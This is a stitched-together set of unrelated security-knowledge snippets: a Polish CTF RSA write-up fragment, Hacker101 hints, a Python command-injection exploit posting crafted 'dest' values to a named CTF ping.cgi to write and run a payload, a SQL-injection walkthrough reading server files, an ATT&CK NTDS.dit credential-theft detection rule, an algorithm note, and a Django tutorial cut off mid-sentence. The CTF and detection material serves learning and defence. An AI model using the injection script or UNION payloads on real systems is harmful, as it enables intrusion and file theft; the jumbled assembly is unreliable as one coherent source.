Równanie wygląda podobnie do zapisu liczby w systemie o podstawie `pi*2^400`. Sprawdźmy jeszcze, czy "cyfry" tej reprezentacji są mniejsze od podstawy - jak sprawdziliśmy, `pi` jest równe około `2^600`, zatem podstawa to około `2^1000`. Z kolei największa "cyfra" to `tp`*`tq`, które jest mniejsze niż `2^800`. Wszystko się więc zgadza. Jak wiadomo, reprezentacja dowolnej liczby w dowolnym systemie liczbowym jest unikatowa - można zatem wyciągnąć te cyfry znając jedynie `n`. Nazwijmy te cyfry `A`, `B` i `C`. Mamy: `A=kp*kq`, `B=kp*tq+kq*tp`, `C=tp*tq` Ponieważ `kp` i `kq` mają niewielką liczbę możliwych wartości (2^12), łatwo możemy wybrutować te prawdziwe. Okazuje się, że jest tylko jedna para liczb spełniająca pierwsze równanie. Znając `kp` i `kq`, zostają nam dwa równania z dwiema niewiadomymi. Rozwiązując kwadratowe równanie, otrzymujemy `tp` i `tq`, dzięki którym poznajemy `p` i `q`, które z kolei pozwalają nam na odczytanie odkodowanej wiadomości z flagą.
sec-knowleage
# Encrypted Pastebin ## [Flag0](./flag0) -- Found - What are these encrypted links? - Encodings like base64 often need to be modified for URLs. Thanks, HTTP - What is stopping you from modifying the data? Not having the key is no excuse ## [Flag1](./flag1) -- Not Found ## [Flag2](./flag2) -- Not Found ## [Flag3](./flag3) -- Not Found
sec-knowleage
import requests def send(s): return requests.post("http://smartcat3.insomni.hack/cgi-bin/ping.cgi", data={"dest":s}).text def send_payload(pay): p="127.0.0.1<(python<<<\"print'" p+="%c"*len(pay) p+="'%(" for c in pay: p+=str(ord(c))+"," p=p[:-1]+")\">/tmp/p4Rocks)" send(p) p="127.0.0.1<(python</tmp/p4Rocks)" send(p) send_payload(open("payload.py").read())
sec-knowleage
# 59. 滑动窗口的最大值 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/1624bc35a45c42c0bc17d17fa0cba788?tpId=13&tqId=11217&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 给定一个数组和滑动窗口的大小,找出所有滑动窗口里数值的最大值。 例如,如果输入数组 {2, 3, 4, 2, 6, 2, 5, 1} 及滑动窗口的大小 3,那么一共存在 6 个滑动窗口,他们的最大值分别为 {4, 4, 6, 6, 6, 5}。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201104020702453.png" width="500px"> </div><br> ## 解题思路 维护一个大小为窗口大小的大顶堆,顶堆元素则为当前窗口的最大值。 假设窗口的大小为 M,数组的长度为 N。在窗口向右移动时,需要先在堆中删除离开窗口的元素,并将新到达的元素添加到堆中,这两个操作的时间复杂度都为 log<sub>2</sub>M,因此算法的时间复杂度为 O(Nlog<sub>2</sub>M),空间复杂度为 O(M)。 ```java public ArrayList<Integer> maxInWindows(int[] num, int size) { ArrayList<Integer> ret = new ArrayList<>(); if (size > num.length || size < 1) return ret; PriorityQueue<Integer> heap = new PriorityQueue<>((o1, o2) -> o2 - o1); /* 大顶堆 */ for (int i = 0; i < size; i++) heap.add(num[i]); ret.add(heap.peek()); for (int i = 0, j = i + size; j < num.length; i++, j++) { /* 维护一个大小为 size 的大顶堆 */ heap.remove(num[i]); heap.add(num[j]); ret.add(heap.peek()); } return ret; } ```
sec-knowleage
# Photo Gallery - FLAG0 ## 0x00 Check Image Source Based on [FLAG1][1], when fetching an image id, it will return an image from the **files** directory. http://127.0.0.1/xxxxxxxxxx/fetch?id=1 | id | title | parent | filename | | -- | ---------------- | ------ | ------------------ | | 1 | Utterly adorable | 1 | files/adorable.jpg | | 2 | Purrfect | 1 | files/purrfect.jpg | | 3 | Invisible | 1 | FLAG1 | ## 0x01 Arbitrary File Read Normally id is integer, so decimal may make an error here. ```sql fetch?id=1.1 ``` ![](./imgs/notfound.jpg) So when do UNION SELECT with the image name, it loads the image 1 again. ```sql id=1.1 UNION SELECT 'files/adorable.jpg' -- ``` ![](./imgs/adorable.jpg) ## 0x02 [uwsgi-nginx-flask-docker][3] The [hint][4] shows the application run on [uwsgi-nginx-flask-docker][3]. So the configuration file is **uwsgi.ini** ```sql id=1.1 UNION SELECT 'uwsgi.ini' -- ``` The file shows ``` [uwsgi] module = main callable = app ``` And the main file ```sql id=1.1 UNION SELECT 'main.py' -- ``` Can check the [main.py][2] ![](./imgs/flag.jpg) [1]: ../flag1 [2]: ./main.py [3]: https://github.com/tiangolo/uwsgi-nginx-flask-docker [4]: ../
sec-knowleage
# T1003-003-win-基于应用日志检测Ntdsutil获取凭证 ## 来自ATT&CK的描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsutil.exe - 调用卷影副本 ### NTDS.dit Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。 **默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。**但通常存储在其他逻辑驱动器上)。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。 ## 测试案例 参考链接: 域渗透——获得域控服务器的NTDS.dit文件:<https://blog.csdn.net/Fly_hps/article/details/80641987> ## 检测日志 windows 应用日志 ## 测试复现 ![ntds0](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/lqUbDJ.png) ## 测试留痕 windows 应用日志留痕文件:<https://github.com/12306Bro/Threathunting-book/blob/master/Eventdata/ntds.evtx> ## 检测规则/思路 ### sigma规则 ```yml title: 应用日志检测ntdsutil获取NTDS.dit文件 description: windows server 2008 + AD域控 references: https://blog.csdn.net/Fly_hps/article/details/80641987 tags: T1003-003 status: experimental author: 12306Bro logsource: product: windows service: application detection: selection1: EventID: 2005 Message: 'lsass (*) 卷影复制实例 * 正在启动。这将是一次完整的卷影复制。' #*号代表任意数值匹配 selection2: EventID: 2001 Message: 'lsass (*) 卷影副本实例 * 冻结已开始。' #*号代表任意数值匹配 selection3: EventID: 2003 Message: 'lsass (*) 卷影副本实例 * 冻结已停止。' #*号代表任意数值匹配 selection4: EventID: 2006 Message: 'lsass (*) 卷影复制实例 * 已成功完成。' #*号代表任意数值匹配 selection5: EventID: 300 Message: lsass (*) 数据库引擎正在初始化恢复步骤。 #*号代表任意数值匹配 selection6: EventID: 216 #期间触发大量216事件 Message: 'lsass (*) 检测到数据库位置从“C:\Windows\NTDS\ntds.dit”更改为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*1*\Windows\NTDS\ntds.dit”。' #*号代表任意数值匹配 selection7: EventID: 302 Message: 'lsass (*) 数据库引擎已成功完成恢复步骤。' #*号代表任意数值匹配 ​ timeframe: last 10S #自定义时间范围 condition: all of them level: medium ``` ### 建议 此检测特征仅适用于windows AD域控主机。 ## 参考推荐 MITRE-ATT&CK-T1003-003 <https://attack.mitre.org/techniques/T1003/003> 域渗透——获得域控服务器的NTDS.dit文件 <https://xz.aliyun.com/t/2187> NTDS.dit密码快速提取工具 <https://www.secpulse.com/archives/6301.html> MITRE ATT&CK攻击知识库(企业)中文版 <https://hansight.github.io/#/>
sec-knowleage
# 基础 --- ## 模板 在 testweb 目录底下创建 templates 目录并建立 ffffffff0x.html 文件 ``` ├── manage.py ├── templates │ └── ffffffff0x.html └── testweb ├── asgi.py ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ``` ffffffff0x.html 内容如下 ```html <h1>{{ hello }}</h1> ``` 修改 testweb/settings.py,修改 TEMPLATES 中的 DIRS 为 [os.path.join(BASE_DIR, 'templates')] ```py import os # 中间略 TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] ``` 修改 views.py,增加一个新的对象,用于向模板提交数据 ```py from django.shortcuts import render def ffffffff0x(request): context = {} context['hello'] = 'Hello World!' return render(request, 'ffffffff0x.html', context) ``` 修改 urls.py ```py from django.urls import path from . import views urlpatterns = [ path('ffffffff0x/', views.ffffffff0x), ] ``` --- ### 模板标签 #### 变量 模板语法 ``` view:{"HTML变量名" : "views变量名"} HTML:{{变量名}} ``` 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_name = "ffffffff0x test" return render(request,"ffffffff0x.html", {"name":views_name}) ``` 修改 templates 中的 ffffffff0x.html ```html <p>{{ name }}</p> ``` #### 列表 templates 中的 ffffffff0x.html 中,可以用 `.` 索引下标取出对应的元素。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_list = ["test1","test2","test3"] return render(request, "ffffffff0x.html", {"views_list": views_list}) ``` 修改 ffffffff0x.html ```html <p>{{ views_list }}</p> # 取出整个列表 <p>{{ views_list.0 }}</p> # 取出列表的第一个元素 ``` #### 字典 templates 中的 ffffffff0x.html 中,可以用 `.` 键 取出对应的值。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_dict = {"name":"ffffffff0x"} return render(request, "ffffffff0x.html", {"views_dict": views_dict}) ``` 修改 ffffffff0x.html ```html <p>{{ views_dict }}</p> <p>{{ views_dict.name }}</p> ``` #### 过滤器 模板语法: ``` {{ 变量名 | 过滤器:可选参数 }} ``` 模板过滤器可以在变量被显示前修改它,过滤器使用管道字符,如下所示: ``` {{ name|lower }} ``` {{ name }} 变量被过滤器 lower 处理后,文档大写转换文本为小写。 过滤管道可以被套接 ,既是说,一个过滤器管道的输出又可以作为下一个管道的输入: ``` {{ my_list|first|upper }} ``` 以上实例将第一个元素并将其转化为大写。 有些过滤器有参数。 过滤器的参数跟随冒号之后并且总是以双引号包含。 例如: ``` {{ bio|truncatewords:"30" }} ``` 这个将显示变量 bio 的前30个词。 其他过滤器: - addslashes : 添加反斜杠到任何反斜杠、单引号或者双引号前面。 - date : 按指定的格式字符串参数格式化 date 或者 datetime 对象,实例: ``` {{ pub_date|date:"F j, Y" }} ``` - length : 返回变量的长度。 **default** default 为变量提供一个默认值。 如果 views 传的变量的布尔值是 false,则使用指定的默认值。 以下值为 false: ``` 0 0.0 False 0j "" [] () set() {} None ``` 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): name =0 return render(request, "ffffffff0x.html", {"name": name}) ``` 修改 ffffffff0x.html ```html {{ name|default:"ffffffff0x" }} ``` **length** 返回对象的长度,适用于字符串和列表。 字典返回的是键值对的数量,集合返回的是去重后的长度。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): name ="ffffffff0x" return render(request, "ffffffff0x.html", {"name": name}) ``` 修改 ffffffff0x.html ```html {{ name|length}} ``` **filesizeformat** 以更易读的方式显示文件的大小(即'13 KB', '4.1 MB', '102 bytes'等)。 字典返回的是键值对的数量,集合返回的是去重后的长度。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): num=1024 return render(request, "ffffffff0x.html", {"num": num}) ``` 修改 ffffffff0x.html ```html {{ num|filesizeformat}} ``` **date** 根据给定格式对一个日期变量进行格式化。 格式 `Y-m-d H:i:s` 返回 `年-月-日 小时:分钟:秒` 的格式时间。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): import datetime now =datetime.datetime.now() return render(request, "ffffffff0x.html", {"time": now}) ``` 修改 ffffffff0x.html ```html {{ time|date:"Y-m-d" }} ``` **truncatechars** 如果字符串包含的字符总个数多于指定的字符数量,那么会被截断掉后面的部分。 截断的字符串将以 `...` 结尾。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_str = "菜鸟教程" return render(request, "ffffffff0x.html", {"views_str": views_str}) ``` 修改 ffffffff0x.html ```html {{ views_str|truncatechars:2}} ``` **safe** 将字符串标记为安全,不需要转义。 要保证 views.py 传过来的数据绝对安全,才能用 safe。 和后端 views.py 的 mark_safe 效果相同。 Django 会自动对 views.py 传到HTML文件中的标签语法进行转义,令其语义失效。加 safe 过滤器是告诉 Django 该数据是安全的,不必对其进行转义,可以让该数据语义生效。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_str = "<a href='https://www.ffffffff0x.com/'>点击跳转</a>" return render(request, "ffffffff0x.html", {"views_str": views_str}) ``` 修改 ffffffff0x.html ```html {{ views_str|safe }} ``` #### if/else 标签 基本语法格式如下: ```py {% if condition %} ... display {% endif %} ``` 或者: ```py {% if condition1 %} ... display 1 {% elif condition2 %} ... display 2 {% else %} ... display 3 {% endif %} ``` 根据条件判断是否输出。if/else 支持嵌套。 {% if %} 标签接受 and , or 或者 not 关键字来对多个变量做判断 ,或者对变量取反(not),例如: ```py {% if athlete_list and coach_list %} athletes 和 coaches 变量都是可用的。 {% endif %} ``` 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_num = 88 return render(request, "ffffffff0x.html", {"num": views_num}) ``` 修改 ffffffff0x.html ```py {%if num > 90 and num <= 100 %} 优秀 {% elif num > 60 and num <= 90 %} 合格 {% else %} 不合格 {% endif %} ``` #### for 标签 {% for %} 允许我们在一个序列上迭代。 与 Python 的 for 语句的情形类似,循环语法是 for X in Y ,Y 是要迭代的序列而 X 是在每一个特定的循环中使用的变量名称。 每一次循环中,模板系统会渲染在 `{% for %}` 和 `{% endfor %}` 之间的所有内容。 例如,给定一个运动员列表 athlete_list 变量,我们可以使用下面的代码来显示这个列表: ```py <ul> {% for athlete in athlete_list %} <li>{{ athlete.name }}</li> {% endfor %} </ul> ``` 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_list = ["ffffffff0x1","ffffffff0x2","ffffffff0x3","ffffffff0x4",] return render(request, "ffffffff0x.html", {"views_list": views_list}) ``` 修改 ffffffff0x.html ```py {% for i in views_list %} {{ i }} {% endfor %} ``` 增加 reversed 可以使得该列表被反向迭代 ```py {% for i in views_list reversed%} {{ i }} {% endfor %} ``` **遍历字典** 可以直接用字典 .items 方法,用变量的解包分别获取键和值。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_dict = {"name":"ffffffff0x","age":18} return render(request, "ffffffff0x.html", {"views_dict": views_dict}) ``` 修改 ffffffff0x.html ```py {% for i,j in views_dict.items %} {{ i }}---{{ j }} {% endfor %} ``` **{% empty %}** 可选的 {% empty %} 从句:在循环为空的时候执行(即 in 后面的参数布尔值为 False )。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): views_list = [] return render(request, "ffffffff0x.html", {"listvar": views_list}) ``` 修改 ffffffff0x.html ```py {% for i in listvar %} {{ forloop.counter0 }} {% empty %} 空空如也~ {% endfor %} ``` **ifequal/ifnotequal 标签** {% ifequal %} 标签比较两个值,当他们相等时,显示在 {% ifequal %} 和 {% endifequal %} 之中所有的值。 下面的例子比较两个模板变量 user 和 currentuser : ```py {% ifequal user currentuser %} <h1>Welcome!</h1> {% endifequal %} ``` 和 {% if %} 类似, {% ifequal %} 支持可选的 {% else%} 标签:8 ```py {% ifequal section 'sitenews' %} <h1>Site News</h1> {% else %} <h1>No News Here</h1> {% endifequal %} ``` **注释标签** Django 注释使用 {# #}。 ```py {# 这是一个注释 #} ``` **include 标签** {% include %} 标签允许在模板中包含其它的模板的内容。 下面这个例子都包含了 nav.html 模板: ```py {% include "nav.html" %} ``` #### csrf_token csrf_token 用于 form 表单中,作用是跨站请求伪造保护。 如果不用{% csrf_token %}标签,在用 form 表单时,要再次跳转页面会报 403 权限错误。 用了{% csrf_token %}标签,在 form 表单提交数据时,才会成功。 首先,向服务器发送请求,获取登录页面,此时中间件 csrf 会自动生成一个隐藏 input 标签,该标签里的 value 属性的值是一个随机的字符串,用户获取到登录页面的同时也获取到了这个隐藏的 input 标签。 然后,等用户需要用到 form 表单提交数据的时候,会携带这个 input 标签一起提交给中间件 csrf,原因是 form 表单提交数据时,会包括所有的 input 标签,中间件 csrf 接收到数据时,会判断,这个随机字符串是不是第一次它发给用户的那个,如果是,则数据提交成功,如果不是,则返回 403 权限错误。 ### 自定义标签和过滤器 在应用目录下创建 templatetags 目录(与 templates 目录同级,目录名只能是 templatetags)。 ``` ├── manage.py ├── templates │ └── ffffffff0x.html ├── templatetags └── testweb ├── asgi.py ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ``` 在 templatetags 目录下创建任意 py 文件,如:my_tags.py ```py from django import template register = template.Library() #register的名字是固定的,不可改变 ``` 修改 settings.py 文件的 TEMPLATES 选项配置,添加 libraries 配置: ```py TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [BASE_DIR, "/templates",], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], "libraries":{ # 添加这边三行配置 'my_tags':'templatetags.my_tags' # 添加这边三行配置 } # 添加这边三行配置 }, }, ] ``` 利用装饰器 @register.filter 自定义过滤器。 > 注意:装饰器的参数最多只能有 2 个。 ```py @register.filter def my_filter(v1, v2): return v1 * v2 ``` 利用装饰器 @register.simple_tag 自定义标签。 ```py @register.simple_tag def my_tag1(v1, v2, v3): return v1 * v2 * v3 ``` 在使用自定义标签和过滤器前,要在 html 文件 body 的最上方中导入该 py 文件。 ``` {% load my_tags %} ``` 在 HTML 中使用自定义过滤器。 ``` {{ 11|my_filter:22 }} ``` 在 HTML 中使用自定义标签。 ``` {% my_tag1 11 22 33 %} ``` 语义化标签 在该 py 文件中导入 mark_safe。 ```py from django.utils.safestring import mark_safe ``` 定义标签时,用上 mark_safe 方法,令标签语义化,相当于 jQuery 中的 html() 方法。 和前端HTML文件中的过滤器 safe 效果一样。 ```py @register.simple_tag def my_html(v1, v2): temp_html = "<input type='text' id='%s' class='%s' />" %(v1, v2) return mark_safe(temp_html) ``` 在HTML中使用该自定义标签,在页面中动态创建标签。 ``` {% my_html "zzz" "xxx" %} ``` ### 配置静态文件 在项目根目录下创建 statics 目录。 ``` ├── manage.py ├── statics ├── templates │ └── ffffffff0x.html ├── templatetags │ ├── my_tags.py └── testweb ├── asgi.py ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ``` 在 settings 文件的最下方配置添加以下配置: ```py STATIC_URL = '/static/' # 别名 STATICFILES_DIRS = [ os.path.join(BASE_DIR, "statics"), ] ``` 在 statics 目录下创建 css 目录,js 目录,images 目录,plugins 目录, 分别放 css文件,js文件,图片,插件。 把 bootstrap 框架放入插件目录 plugins。 在模板中使用需要加入 {% load static %} 代码,以下实例我们从静态目录中引入图片。 修改 views.py ```py from django.shortcuts import render def ffffffff0x(request): name ="ffffffff0x" return render(request, "ffffffff0x.html", {"name": name}) ``` 修改 ffffffff0x.html 在 HTML 文件的 head 标签中引入 bootstrap。 > 注意:此时引用路径中的要用配置文件中的别名 static,而不是目录 statics。 ```py {% load static %} {{name}}<img src="{% static "images/ffffffff0x-logo.png" %}" alt="ffffffff0x-logo"> <link rel="stylesheet" href="/static/plugins/bootstrap-3.3.7/dist/css/bootstrap.css"> ``` ### 模板继承 模板可以用继承的方式来实现复用,减少冗余内容。 网页的头部和尾部内容一般都是一致的,我们就可以通过模板继承来实现复用。 父模板用于放置可重复利用的内容,子模板继承父模板的内容,并放置自己的内容。 #### 父模板 标签 block...endblock: 父模板中的预留区域,该区域留给子模板填充差异性的内容,不同预留区域名字不能相同。 ```py {% block 名称 %} 预留给子模板的区域,可以设置设置默认内容 {% endblock 名称 %} ``` #### 子模板 子模板使用标签 extends 继承父模板: ```py {% extends "父模板路径"%} ``` 子模板如果没有设置父模板预留区域的内容,则使用在父模板设置的默认内容,当然也可以都不设置,就为空。 子模板设置父模板预留区域的内容: ```py { % block 名称 % } 内容 {% endblock 名称 %} ``` templates 目录中添加 base.html 文件 ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>ffffffff0x(ffffffff0x.com)</title> </head> <body> <h1>Hello World!</h1> <p>文字</p> {% block mainbody %} <p>original</p> {% endblock %} </body> </html> ``` 以上代码中,名为 mainbody 的 block 标签是可以被继承者们替换掉的部分。 所有的 `{% block %}` 标签告诉模板引擎,子模板可以重载这些部分。 ffffffff0x.html 中继承 base.html,并替换特定 block,ffffffff0x.html 修改后的代码如下: ```html {%extends "base.html" %} {% block mainbody %} <p>继承了 base.html 文件</p> {% endblock %} ``` 第一行代码说明 ffffffff0x.html 继承了 base.html 文件。可以看到,这里相同名字的 block 标签用以替换 base.html 的相应 block。 --- ## 模型 Django 对各种数据库提供了很好的支持,包括:PostgreSQL、MySQL、SQLite、Oracle。 Django 为这些数据库提供了统一的调用API。 我们可以根据自己业务需求选择不同的数据库。 安装 mysql 驱动 ```bash pip3 install pymysql ``` **Django ORM** Django 模型使用自带的 ORM。 对象关系映射(Object Relational Mapping,简称 ORM )用于实现面向对象编程语言里不同类型系统的数据之间的转换。 ORM 在业务逻辑层和数据库层之间充当了桥梁的作用。 ORM 是通过使用描述对象和数据库之间的映射的元数据,将程序中的对象自动持久化到数据库中。 ### 数据库配置 搭建一个 mariadb ```bash bash f8x-dev -mariadb mysql -u root -p # 例如我们创建一个名为 f1x 数据库,编码指定为 utf8: create database f1x default charset=utf8; ``` 我们在项目的 settings.py 文件中找到 DATABASES 配置项,将其信息修改为: ```py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', # 数据库引擎 'NAME': 'f1x', # 数据库名称 'HOST': '127.0.0.1', # 数据库地址,本机 ip 地址 127.0.0.1 'PORT': 3306, # 端口 'USER': 'root', # 数据库用户名 'PASSWORD': 'toor', # 数据库密码 } } ``` 在与 settings.py 同级目录下的 `__init__.py` 中引入模块和进行配置 ```py import pymysql pymysql.install_as_MySQLdb() ``` ### 定义模型 #### 创建 APP Django 规定,如果要使用模型,必须要创建一个 app。我们使用以下命令创建一个 TestModel 的 app: ``` python3 manage.py startapp TestModel ``` 目录结构如下 ``` testweb ├── manage.py ├── statics ├── templates │ ├── base.html │ └── ffffffff0x.html ├── templatetags │ ├── my_tags.py ├── TestModel │ ├── admin.py │ ├── apps.py │ ├── __init__.py │ ├── migrations │ │ └── __init__.py │ ├── models.py │ ├── tests.py │ └── views.py └── testweb ├── asgi.py ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ``` 修改 TestModel/models.py 文件 ```py from django.db import models class Test(models.Model): name = models.CharField(max_length=20) ``` 以上的类名代表了数据库表名,且继承了 models.Model,类里面的字段代表数据表中的字段 (name),数据类型则由 CharField(相当于 varchar)、DateField(相当于 datetime), max_length 参数限定长度。 接下来在 settings.py 中找到 INSTALLED_APPS 这一项,如下: ```py INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'TestModel', # 添加此项 ) ``` 在命令行中运行: ```bash python3 manage.py migrate # 创建表结构 python3 manage.py makemigrations TestModel # 让 Django 知道我们在我们的模型有一些变更 python3 manage.py migrate TestModel # 创建表结构 ``` 看到几行 "Creating table…" 的字样,你的数据表就创建好了。 表名组成结构为:应用名_类名(如:TestModel_test)。 ### 数据库操作 修改 urls.py: ```py from django.urls import path from . import views,testdb urlpatterns = [ path('ffffffff0x/', views.ffffffff0x), path('testdb/', testdb.testdb), ] ``` #### 添加数据 添加数据需要先创建对象, 然后再执行 save 函数, 相当于 SQL 中的 INSERT: 接下来我们在 testweb 目录中添加 testdb.py 文件 ```py # -*- coding: utf-8 -*- from django.http import HttpResponse from TestModel.models import Test # 数据库操作 def testdb(request): test1 = Test(name='ffffffff0x') test1.save() return HttpResponse("<p>数据添加成功!</p>") ``` #### 获取数据 Django提供了多种方式来获取数据库的内容 ```py # -*- coding: utf-8 -*- from django.http import HttpResponse from TestModel.models import Test # 数据库操作 def testdb(request): # 初始化 response = "" response1 = "" # 通过objects这个模型管理器的all()获得所有数据行,相当于SQL中的SELECT * FROM list = Test.objects.all() # filter相当于SQL中的WHERE,可设置条件过滤结果 response2 = Test.objects.filter(id=1) # 获取单个对象 response3 = Test.objects.get(id=1) # 限制返回的数据 相当于 SQL 中的 OFFSET 0 LIMIT 2; Test.objects.order_by('name')[0:2] #数据排序 Test.objects.order_by("id") # 上面的方法可以连锁使用 Test.objects.filter(name="ffffffff0x").order_by("id") # 输出所有数据 for var in list: response1 += var.name + " " response = response1 return HttpResponse("<p>" + response + "</p>") ``` ### 更新数据 修改数据可以使用 `save()` 或 `update()`: ```py # -*- coding: utf-8 -*- from django.http import HttpResponse from TestModel.models import Test # 数据库操作 def testdb(request): # 修改其中一个id=1的name字段,再save,相当于SQL中的UPDATE test1 = Test.objects.get(id=1) test1.name = 'Google' test1.save() # 另外一种方式 #Test.objects.filter(id=1).update(name='Google') # 修改所有的列 # Test.objects.all().update(name='Google') return HttpResponse("<p>修改成功</p>") ``` ### 删除数据 删除数据库中的对象只需调用该对象的 `delete()` 方法即可: ```py # -*- coding: utf-8 -*- from django.http import HttpResponse from TestModel.models import Test # 数据库操作 def testdb(request): # 删除id=1的数据 test1 = Test.objects.get(id=1) test1.delete() # 另外一种方式 # Test.objects.filter(id=1).delete() # 删除所有数据 # Test.objects.all().delete() return HttpResponse("<p>删除成功</p>") ``` --- ## 表单 ### HTTP 请求 HTTP协议以"请求-回复"的方式工作。客户发送请求时,可以在请求中附加数据。服务器通过解析请求,就可以获得客户传来的数据,并根据URL来提供特定的服务。 #### GET 方法 testweb 目录中添加 search.py 文件,用于接收用户的请求: ```py from django.http import HttpResponse from django.shortcuts import render # 表单 def search_form(request): return render(request, 'search_form.html') # 接收请求数据 def search(request): request.encoding='utf-8' if 'q' in request.GET and request.GET['q']: message = '你搜索的内容为: ' + request.GET['q'] else: message = '你提交了空表单' return HttpResponse(message) ``` 在模板目录 templates 中添加 search_form.html 表单: ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>ffffffff0x(ffffffff0x.com)</title> </head> <body> <form action="/search/" method="get"> <input type="text" name="q"> <input type="submit" value="搜索"> </form> </body> </html> ``` 修改 urls.py ```py from django.conf.urls import url from . import views,testdb,search urlpatterns = [ url(r'^hello/$', views.ffffffff0x), url(r'^testdb/$', testdb.testdb), url(r'^search-form/$', search.search_form), url(r'^search/$', search.search), ] ``` #### POST 方法 提交数据时更常用 POST 方法。 用一个 URL 和处理函数,同时显示视图和处理请求。 在 templates 创建 post.html ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>ffffffff0x(ffffffff0x.com)</title> </head> <body> <form action="/search-post/" method="post"> {% csrf_token %} <input type="text" name="q"> <input type="submit" value="搜索"> </form> <p>{{ rlt }}</p> </body> </html> ``` 在模板的末尾,我们增加一个 rlt 记号,为表格处理结果预留位置。 表格后面还有一个 {% csrf_token %} 的标签。csrf 全称是 Cross Site Request Forgery。这是 Django 提供的防止伪装提交请求的功能。POST 方法提交的表格,必须有此标签。 在 testweb 目录下新建 search2.py 文件并使用 search_post 函数来处理 POST 请求: ```py # -*- coding: utf-8 -*- from django.shortcuts import render from django.views.decorators import csrf # 接收POST请求数据 def search_post(request): ctx ={} if request.POST: ctx['rlt'] = request.POST['q'] return render(request, "post.html", ctx) ``` 修改 urls.py ```py from django.conf.urls import url from . import views,testdb,search,search2 urlpatterns = [ url(r'^hello/$', views.hello), url(r'^testdb/$', testdb.testdb), url(r'^search-form/$', search.search_form), url(r'^search/$', search.search), url(r'^search-post/$', search2.search_post), ] ``` #### Request 对象 每个视图函数的第一个参数是一个 HttpRequest 对象,就像下面这个 ffffffff0x() 函数: ```py from django.http import HttpResponse def ffffffff0x(request): return HttpResponse("Hello world") ``` HttpRequest对象包含当前请求URL的一些信息: - path 请求页面的全路径,不包括域名—例如, "/hello/"。 - method 请求中使用的HTTP方法的字符串表示。全大写表示。例如: ```py if request.method == 'GET': do_something() elif request.method == 'POST': do_something_else() ``` - GET 包含所有 HTTP GET 参数的类字典对象。参见 QueryDict 文档。 - POST 包含所有 HTTP POST 参数的类字典对象。参见 QueryDict 文档。 服务器收到空的 POST 请求的情况也是有可能发生的。也就是说,表单 form 通过 HTTP POST 方法提交请求,但是表单中可以没有数据。因此,不能使用语句 if request.POST 来判断是否使用 HTTP POST 方法;应该使用 if request.method == "POST" (参见本表的 method 属性)。 注意: POST 不包括 file-upload 信息。参见 FILES 属性。 - REQUEST 为了方便,该属性是 POST 和 GET 属性的集合体,但是有特殊性,先查找 POST 属性,然后再查找 GET 属性。借鉴 PHP's $_REQUEST。 例如,如果 `GET = {"name": "john"}` 和 `POST = {"age": '34'}` ,则 `REQUEST["name"]` 的值是"john", `REQUEST["age"]` 的值是"34". 强烈建议使用GET and POST,因为这两个属性更加显式化,写出的代码也更易理解。 - COOKIES 包含所有cookies的标准Python字典对象。Keys和values都是字符串。 - FILES 包含所有上传文件的类字典对象。FILES 中的每个 Key 都是 `<input type="file" name="" />` 标签中 name 属性的值. FILES 中的每个 value 同时也是一个标准 Python 字典对象,包含下面三个 Keys: - filename: 上传文件名, 用 Python 字符串表示 - content-type: 上传文件的 Content type - content: 上传文件的原始内容 注意:只有在请求方法是 POST,并且请求页面中 `<form>` 有 `enctype="multipart/form-data"` 属性时 FILES 才拥有数据。否则,FILES 是一个空字典。 - META 包含所有可用 